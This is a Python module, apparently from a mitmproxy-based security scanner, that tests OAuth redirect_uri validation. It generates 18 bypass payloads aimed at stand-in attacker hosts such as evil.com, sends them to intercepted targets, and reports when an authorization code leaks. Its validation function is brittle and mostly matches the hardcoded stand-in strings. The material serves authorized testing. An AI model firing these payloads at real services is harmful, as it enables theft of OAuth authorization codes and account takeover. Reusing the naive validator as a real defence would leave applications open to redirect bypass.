from mitmproxy import http
import aiohttp
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse  
import lib.target as target  
from lib.report import save_report 

class BypassPayload:
    """ 우회 패턴 정의 """
    def __init__(self, name: str, mutate_func, description: str):
        self.name = name
        self.mutate = mutate_func #우회 url 만드는 함수
        self.description = description


class RedirectBypassChecker:
    def __init__(self):
        """ 우회 페이로드 목록 """
        self.bypass_payloads = [
            BypassPayload(
                name=r"@",
                mutate_func=self._mutate_pattern1,
                description=r"Host bypass attack using @ symbol: evil.com@target.com"
            ),

            BypassPayload(
                name=r"%ff@",
                mutate_func=self._mutate_pattern2,
                description=r"Hostname parsing bypass using Unicode %ff byte: evil%ff@target.com"
            ),
            
            BypassPayload(
                name=r"%ff_subdomain",
                mutate_func=self._mutate_pattern3,
                description=r"Unicode %ff byte injection in subdomain: evil%ff.target.com"
            ),
            
            BypassPayload(
                name=r"fullwidth_slash",
                mutate_func=self._mutate_pattern4,
                description=r"Path parsing bypass using full-width slash (／): target.com／@evil.com"
            ),

            BypassPayload(
                name=r"%0a@",
                mutate_func=self._mutate_pattern5,
                description=r"Newline character bypass using %0a@: evil.com%0a@target.com"
            ),
            
            BypassPayload(
                name=r"%0d@",
                mutate_func=self._mutate_pattern6,
                description=r"Carriage return bypass using %0d@: evil.com%0d@target.com (URL parser confusion)"
            ),
            
            BypassPayload(
                name=r"path_traversal",
                mutate_func=self._mutate_pattern7,
                description=r"Path traversal bypass using ../../../: target.com/path/../../../evil.com"
            ),
            
            BypassPayload(
                name=r"domain_suffix",
                mutate_func=self._mutate_pattern8,
                description=r"Domain suffix spoofing: target.com.evil.com"
            ),
            
            BypassPayload(
                name=r"backslash_bypass",
                mutate_func=self._mutate_pattern9,
                description=r"Backslash URL parsing bypass: target.com\\evil.com"
            ),
            
            BypassPayload(
                name=r"double_slash",
                mutate_func=self._mutate_pattern10,
                description=r"Double slash bypass: target.com//evil.com"
            ),
            
            BypassPayload(
                name=r"question_mark",
                mutate_func=self._mutate_pattern11,
                description=r"Question mark bypass: target.com?evil.com"
            ),
            
            BypassPayload(
                name=r"idn_homograph",
                mutate_func=self._mutate_pattern12,
                description=r"IDN homograph attack using visually similar characters: gооgle.com (Cyrillic)"
            ),
            
            BypassPayload(
                name=r"ipv6_bypass",
                mutate_func=self._mutate_pattern13,
                description=r"IPv6 address bypass: evil.com@[::1] or evil.com@[2001:db8::1]"
            ),
            
            BypassPayload(
                name=r"port_manipulation",
                mutate_func=self._mutate_pattern14,
                description=r"Port number manipulation: evil.com@target.com:80"
            ),
            
            BypassPayload(
                name=r"fragment_bypass",
                mutate_func=self._mutate_pattern15,
                description=r"Fragment identifier bypass: target.com#@evil.com"
            ),
            
            BypassPayload(
                name=r"combined_bypass",
                mutate_func=self._mutate_pattern16,
                description=r"Combined multiple bypass techniques: evil.com@target.com//../../evil.com"
            ),
            
            BypassPayload(
                name=r"double_encoding",
                mutate_func=self._mutate_pattern17,
                description=r"Double URL encoding bypass: evil.com%2540target.com"
            ),
            
            BypassPayload(
                name=r"case_variation",
                mutate_func=self._mutate_pattern18,
                description=r"Case variation bypass: EVIL.COM@target.com"
            ),
            
        ]
        self.session = None

    """ 우회 URL 생성 목록 """
    # 1. @
    def _mutate_pattern1(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        mutated = f"https://evil.com@{parsed.netloc}{path_part}"
        print(f"[redirect_uri_check] original: {original} → mutated: {mutated}")
        return mutated
    
    # 2. %ff@ - 유니코드 바이트 우회
    def _mutate_pattern2(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        mutated = f"https://evil%ff@{parsed.netloc}{path_part}"
        print(f"[redirect_uri_check] %ff@ pattern: {original} → {mutated}")
        return mutated

    # 3. %ff 서브도메인 - 유니코드 바이트 서브도메인 삽입
    def _mutate_pattern3(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        mutated = f"https://evil%ff.{parsed.netloc}{path_part}"
        print(f"[redirect_uri_check] %ff subdomain pattern: {original} → {mutated}")
        return mutated

    # 4. 전각 슬래시 - Full-width character bypass
    def _mutate_pattern4(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        mutated = f"https://{parsed.netloc}／@evil.com{path_part}"
        print(f"[redirect_uri_check] fullwidth slash pattern: {original} → {mutated}")
        return mutated

    # 5. %0a@ - 줄바꿈 문자 우회
    def _mutate_pattern5(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        mutated = f"https://evil.com%0a@{parsed.netloc}{path_part}"
        print(f"[redirect_uri_check] newline pattern: {original} → {mutated}")
        return mutated

    # 6. %0d@ - 캐리지 리턴 우회 (URL parser confusion)
    def _mutate_pattern6(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        mutated = f"https://evil.com%0d@{parsed.netloc}{path_part}"
        print(f"[redirect_uri_check] carriage return pattern: {original} → {mutated}")
        return mutated

    # 7. 경로 순회 - Path traversal bypass
    def _mutate_pattern7(self, original: str) -> str:
        parsed = urlparse(original)
        base_path = parsed.path if parsed.path else "/callback"
        mutated = f"https://{parsed.netloc}{base_path}/../../../evil.com"
        print(f"[redirect_uri_check] path traversal pattern: {original} → {mutated}")
        return mutated

    # 8. 도메인 접미사 스푸핑 - Slack HackerOne #2575 case
    def _mutate_pattern8(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        mutated = f"https://{parsed.netloc}.evil.com{path_part}"
        print(f"[redirect_uri_check] domain suffix pattern: {original} → {mutated}")
        return mutated

    # 9. 백슬래시 우회 - Dart SDK Issue #50075
    def _mutate_pattern9(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        mutated = f"https://{parsed.netloc}\\evil.com{path_part}"
        print(f"[redirect_uri_check] backslash pattern: {original} → {mutated}")
        return mutated

    # 10. 이중 슬래시 
    def _mutate_pattern10(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        mutated = f"https://{parsed.netloc}//evil.com{path_part}"
        print(f"[redirect_uri_check] double slash pattern: {original} → {mutated}")
        return mutated

    # 11. 물음표 우회
    def _mutate_pattern11(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        mutated = f"https://{parsed.netloc}?evil.com{path_part}"
        print(f"[redirect_uri_check] question mark pattern: {original} → {mutated}")
        return mutated
    
    # 12. IDN 동형문자 공격 - 시각적으로 동일하지만 다른 도메인
    def _mutate_pattern12(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        # RFC 2606 테스트 도메인 + IDN 문자 о(키릴 문자 U+043E) vs o(라틴 문자 U+006F) 사용
        mutated = f"https://еvil.example@{parsed.netloc}{path_part}"
        print(f"[redirect_uri_check] IDN homograph pattern: {original} → {mutated}")
        return mutated

    # 13. IPv6 주소 우회 - 안전한 버전
    def _mutate_pattern13(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        
        # 안전한 IPv6 @ 우회 패턴
        if "localhost" in parsed.netloc:
            mutated = f"https://evil.example@[::1]:3000{path_part}"
        else:
            # RFC 3849 문서용 IPv6 주소 사용 (라우팅 안 됨)
            mutated = f"https://evil.example@[2001:db8::1]{path_part}"
        
        print(f"[redirect_uri_check] IPv6 bypass pattern: {original} → {mutated}")
        return mutated

    # 14. 포트 번호 조작
    def _mutate_pattern14(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        # 기본 포트를 명시적으로 표현하거나 다른 포트로 우회 시도
        base_port = ":80" if parsed.scheme == "http" else ":443"
        mutated = f"https://evil.example@{parsed.netloc}{base_port}{path_part}"
        print(f"[redirect_uri_check] port manipulation pattern: {original} → {mutated}")
        return mutated

    # 15. Fragment identifier 우회  
    def _mutate_pattern15(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        # Fragment(#)로 실제 목적지 숨기기 - 브라우저는 fragment 부분을 서버에 전송하지 않음
        mutated = f"https://{parsed.netloc}{path_part}#@evil.com"
        print(f"[redirect_uri_check] fragment bypass pattern: {original} → {mutated}")
        return mutated

    # 16. 복합 우회 패턴 - 여러 기법 동시 적용
    def _mutate_pattern16(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        # @ 우회 + 이중 슬래시 + 경로 순회 조합
        mutated = f"https://evil.com@{parsed.netloc}//../../evil.com{path_part}"
        print(f"[redirect_uri_check] combined bypass pattern: {original} → {mutated}")
        return mutated

    # 17. 이중 URL 인코딩
    def _mutate_pattern17(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        # %40(@의 URL 인코딩)을 한 번 더 인코딩하여 %2540으로 만듦
        mutated = f"https://evil.example%2540{parsed.netloc}{path_part}"
        print(f"[redirect_uri_check] double encoding pattern: {original} → {mutated}")
        return mutated

    # 18. 대소문자 변형 - 서버별 파싱 차이 이용
    def _mutate_pattern18(self, original: str) -> str:
        parsed = urlparse(original)
        path_part = parsed.path if parsed.path else ""
        # 대소문자 혼합으로 파싱 차이 유발
        mutated = f"https://EVIL.EXAMPLE@{parsed.netloc.upper()}{path_part}"
        print(f"[redirect_uri_check] case variation pattern: {original} → {mutated}")
        return mutated

    '''aiohttp 세션 생성 (재사용)'''
    async def _get_session(self):
        if self.session is None:
            timeout = aiohttp.ClientTimeout(total=10)
            self.session = aiohttp.ClientSession(timeout=timeout)
        return self.session

    '''세션 정리'''
    async def close_session(self):
        if self.session:
            await self.session.close()
            self.session = None

    """ 우회된 URL에 GET 요청을 보내고, 서버 응답 정보 반환 """
    async def _send_request(self, url, headers=None):
        try:
            session = await self._get_session() # 세션 준비
            request_headers = headers or {} # 요청 헤더 설정 - headers가 주어지지 않았다면 빈 딕셔너리 사용
            
            # 서버에 GET 요청 전송 
            async with session.get(url, allow_redirects=False, headers=request_headers) as response:
                return {
                    'status': response.status,
                    'location': response.headers.get("Location", ""),
                    'headers': dict(response.headers)
                }
        except Exception as e:
            print(f"[ERROR] 요청 실패 ({url}): {e}")
            return {'status': 500, 'location': '', 'headers': {}}

    """ redirect_uri가 기준 도메인(baseUrl)에 속하는지 판단 """
    def _is_baseline_valid(self, redirect_uri: str, base_url: str) -> bool:
        try:
            base_parsed = urlparse(base_url)
            base_host = base_parsed.hostname
            
            if not base_host:
                return False
            
            print(f"[DEBUG] 검증 시작 - redirect_uri: {redirect_uri}, base_host: {base_host}")
            
            # IDN 동형문자 체크
            if "еvil.example" in redirect_uri:  # е는 키릴 문자
                print(f"[ALERT] IDN 동형문자 공격 패턴 탐지: {redirect_uri}")
                print(f"[CRITICAL] IDN 동형문자 우회 공격: {redirect_uri}")
                return False
            
            # IPv6 주소 체크  
            if "[::1]" in redirect_uri or "[2001:db8" in redirect_uri:
                print(f"[ALERT] IPv6 주소 우회 패턴 탐지: {redirect_uri}")
                print(f"[CRITICAL] IPv6 주소 우회 공격: {redirect_uri}")
                return False
            
            # 이중 인코딩 체크
            if "%2540" in redirect_uri:  # %40의 이중 인코딩
                print(f"[ALERT] 이중 URL 인코딩 패턴 탐지: {redirect_uri}")
                print(f"[CRITICAL] 이중 인코딩 우회 공격: {redirect_uri}")
                return False
            
            # Fragment 체크
            if "#@" in redirect_uri:
                print(f"[ALERT] Fragment 우회 패턴 탐지: {redirect_uri}")
                print(f"[CRITICAL] Fragment 우회 공격: {redirect_uri}")
                return False
            
            # @ 패턴 최우선 체크 (@ 앞의 도메인이 실제 목적지)
            if "@" in redirect_uri:
                # @ 앞의 부분이 실제 목적지 도메인
                at_parts = redirect_uri.split('@')
                if len(at_parts) >= 2:
                    before_at = at_parts[0]
                    if '//' in before_at:
                        potential_domain = before_at.split('//')[-1]
                        if '.' in potential_domain and potential_domain != base_host:
                            print(f"[CRITICAL] @ 우회 공격: {potential_domain}@{base_host}")
                            return False
            
            # %ff 바이트 체크 
            if "%ff" in redirect_uri:
                print(f"[ALERT] %ff 유니코드 바이트 우회 패턴 탐지: {redirect_uri}")
                if "%ff@" in redirect_uri or "%ff." in redirect_uri:
                    print(f"[CRITICAL] %ff 우회 공격 패턴: {redirect_uri}")
                    return False
                
            # 전각 문자 체크
            if "／" in redirect_uri:  # 전각 슬래시
                print(f"[ALERT] 전각 문자 우회 패턴 탐지: {redirect_uri}")
                print(f"[CRITICAL] 전각 슬래시 우회 공격: {redirect_uri}")
                return False
            
            # 제어 문자(줄바꿈/캐리지 리턴 문자) 체크 
            if "%0a" in redirect_uri or "%0d" in redirect_uri:
                print(f"[ALERT] 제어 문자 우회 패턴 탐지: {redirect_uri}")
                if "%0a@" in redirect_uri or "%0d@" in redirect_uri:
                    print(f"[CRITICAL] 제어 문자 우회 공격: {redirect_uri}")
                    return False
            
            # 경로 순회 패턴 체크
            if "/../" in redirect_uri:
                print(f"[ALERT] 경로 순회 우회 패턴 탐지: {redirect_uri}")
                print(f"[CRITICAL] 경로 순회 우회 공격: {redirect_uri}")
                return False
             
            # 백슬래시 우회 체크 
            if "\\" in redirect_uri:
                print(f"[ALERT] 백슬래시 우회 패턴 탐지: {redirect_uri}")
                print(f"[CRITICAL] 백슬래시 파싱 우회 공격: {redirect_uri}")
                return False
            
            # 이중 슬래시 체크 (스키마 제외)
            uri_without_scheme = redirect_uri.replace("https://", "").replace("http://", "")
            if "//" in uri_without_scheme:
                print(f"[ALERT] 이중 슬래시 우회 패턴 탐지: {redirect_uri}")
                print(f"[CRITICAL] 이중 슬래시 우회 공격: {redirect_uri}")
                return False
            
            # 물음표 우회 체크 - @ 패턴과 결합된 경우
            if "?" in redirect_uri and "@" in redirect_uri:
                print(f"[ALERT] 물음표+@ 우회 패턴 탐지: {redirect_uri}")
                print(f"[CRITICAL] 물음표 우회 공격: {redirect_uri}")
                return False
            
            # 일반적인 도메인 검증 (@ 없는 경우)
            if "@" not in redirect_uri:
                redirect_parsed = urlparse(redirect_uri)
                redirect_host = redirect_parsed.hostname
                
                if not redirect_host:
                    return False
                
                # 도메인 접미사 스푸핑 체크
                if redirect_host.endswith(".evil.com"):
                    print(f"[ALERT] 도메인 접미사 스푸핑 탐지: {redirect_host}")
                    print(f"[CRITICAL] 도메인 접미사 우회 공격: {redirect_host}")
                    return False
                
                # 정상적인 도메인 검증
                is_valid = (redirect_host == base_host or redirect_host.endswith(f".{base_host}"))
                return is_valid
            
            # @ 패턴이 있는 경우, 추가 검증
            # @ 뒤의 도메인 확인
            at_parts = redirect_uri.split('@')
            if len(at_parts) >= 2:
                after_at = at_parts[-1]  # 마지막 @ 뒤의 부분
                # URL에서 호스트 부분만 추출
                if '//' in after_at:
                    after_at = after_at.split('//')[0]
                else:
                    after_at = after_at.split('/')[0]  # 첫 번째 / 앞의 부분
                
                after_at = after_at.split(':')[0]  # 포트 제거
                
                if after_at != base_host:
                    print(f"[CRITICAL] @ 패턴에서 잘못된 대상 도메인: {after_at} != {base_host}")
                    return False
            
            return True
            
        except Exception as e:
            print(f"[ERROR] 도메인 검증 실패: {e}")
            return False
        
    """ Location 헤더에서 authorization code 추출 """    
    def _extract_code_from_location(self, location: str) -> str:
        if not location:
            return ""
        
        try:
            parsed = urlparse(location)
            query = parse_qs(parsed.query)
            return query.get('code', [''])[0]
        except:
            return ""

    """ 메인 테스트 함수 - mitmproxy flow 처리 """
    async def test(self, flow: http.HTTPFlow):
        url = flow.request.pretty_url
        parsed = urlparse(url)
        query = parse_qs(parsed.query)

        if "redirect_uri" not in query:
            return

        original_redirect_uri = query["redirect_uri"][0]
        print(f"[DEBUG] 원본 redirect_uri: {original_redirect_uri}")

        for payload in self.bypass_payloads:
            try:
                await self._test_bypass_pattern(
                    url, query, parsed, original_redirect_uri, payload, headers={}
                )
            except Exception as e:
                print(f"[ERROR] 우회 패턴 테스트 실패 ({payload.name}): {e}")
                continue

    """ 개별 우회 패턴 테스트 """
    async def _test_bypass_pattern(self, original_url, query, parsed_url, original_redirect_uri, payload, headers):
        
        print(f"[SCAN] 우회 패턴 테스트: {payload.name}")
        
        # 우회 URL 생성
        bypassed_uri = payload.mutate(original_redirect_uri)
        
        # 새로운 쿼리 파라미터 구성
        modified_query = query.copy()
        modified_query["redirect_uri"] = [bypassed_uri]
        new_query_string = urlencode(modified_query, doseq=True)
        test_url = urlunparse(parsed_url._replace(query=new_query_string))
        
        # 요청 전송
        response = await self._send_request(test_url, headers)

        # 응답 분석
        await self._analyze_response(original_url, test_url, bypassed_uri, response, payload)

    """ 응답 분석 및 취약점 판단 """
    async def _analyze_response(self, original_url, test_url, bypassed_uri, response, payload):
        status = response['status']
        location = response['location']
        
        print(f"[DEBUG] 응답 분석 - 상태: {status}, Location: {location}")
        
        # 리다이렉트 응답이 아니면 스킵
        if status not in [301, 302, 303, 307, 308]:
            print(f"[DEBUG] 리다이렉트 아님 - 상태 코드: {status}")
            return
            
        # Location 헤더에서 code 추출
        auth_code = self._extract_code_from_location(location)
        print(f"[DEBUG] 추출된 코드: {auth_code}")
        
        # 베이스라인 검증
        is_valid = self._is_baseline_valid(bypassed_uri, original_url)
        print(f"[DEBUG] 베이스라인 검증 결과: {is_valid}")
        
        if auth_code and not is_valid:
            # 취약점 발견 시에만 로그
            print(f"[🎯 VULNERABILITY] {payload.name} 우회 성공!")
            await self._report_vulnerability(original_url, test_url, bypassed_uri, location, auth_code, payload)
        else:
            print(f"[DEBUG] 취약점 없음 - 코드: {bool(auth_code)}, 유효성: {is_valid}")

    """ 취약점 보고서 생성 """
    async def _report_vulnerability(self, original_url, test_url, bypassed_uri, location, auth_code, payload):
        # payload가 문자열인지 객체인지 확인
        if hasattr(payload, 'name'):
            pattern_name = payload.name
            pattern_description = payload.description
        else:
            pattern_name = str(payload)
            pattern_description = "Unknown bypass pattern"
            
        description = (
            f"Redirect URI 우회 취약점 발견!\n\n"
            f"-- 상세 정보 --:\n"
            f"• 우회 패턴: {pattern_name}\n"
            f"• 설명: {pattern_description}\n"
            f"• 원본 URL: {original_url}\n"
            f"• 우회된 redirect_uri: {bypassed_uri}\n"
            f"• 테스트 URL: {test_url}\n"
            f"• 리다이렉트 위치: {location}\n"
            f"• 발급된 인가 코드: {auth_code[:10]}...\n\n"
        )
        
        report_data = [{
            "target": target.load(),
            "status": "CRITICAL",  
            "title": "Redirect URI Bypass Vulnerability",
            "description": description,
            "uri": test_url  # uri 필드 추가
        }]
        
        save_report(report_data)
        print(f"[🎯 CRITICAL] Redirect URI 우회 취약점 발견 및 보고 완료!")
        print(f"[INFO] 패턴: {pattern_name}, 우회 URI: {bypassed_uri}")